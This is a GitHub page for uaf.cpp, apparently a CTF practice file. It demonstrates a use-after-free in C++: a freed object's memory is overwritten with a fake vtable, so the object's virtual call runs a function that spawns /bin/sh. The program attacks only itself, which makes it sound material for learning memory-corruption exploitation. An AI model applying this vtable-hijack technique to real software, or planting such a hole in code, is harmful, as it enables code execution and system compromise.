-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathuaf.cpp
More file actions
70 lines (55 loc) · 1.31 KB
/
uaf.cpp
File metadata and controls
70 lines (55 loc) · 1.31 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
#include <iostream>
using namespace std;
/*
docker run --rm -it -v $(pwd):/work ctf_ubuntu_latest bash
g++ -g -no-pie uaf.cpp -o uaf
*/
void memory_dump(char *ptr, int size, int bytes) {
puts("dump");
for (int i = 0; i < size * 4; i++) {
if (i % bytes == 0) printf(" ");
printf("%02hhx", *(ptr + i));
}
puts("");
}
void shellcode() {
// fix stack alignment 0x10 syscall
//__asm__("pop %rax"); // fix stack
system("/bin/sh");
}
class Base {
public:
virtual void func() {}
};
class Vuln : public Base {
public:
int mark0 = 0xfaceb00c;
virtual void func() override { cout << "function!" << endl; }
int mark1 = 0xdeadbeef;
char array[10];
};
typedef struct {
void (*func_ptr)();
} VTable;
int main() {
Vuln *vuln1 = new Vuln();
vuln1->func();
cout << sizeof(Vuln) << " " << vuln1 << endl;
memory_dump((char *)vuln1, sizeof(Vuln), 2);
// free
delete vuln1;
// overwrite
cout << "overwrite " << hex << reinterpret_cast<size_t>(shellcode) << endl;
long long int *target = new long long int[32 / 8];
// fake vtable
VTable vtb;
vtb.func_ptr = shellcode;
// hijack by UaF
target[0] = reinterpret_cast<size_t>(&vtb);
cout << "class object ";
memory_dump((char *)vuln1, sizeof(Vuln), 2);
// exec func again
cout << "exec again" << endl;
vuln1->func();
return 0;
}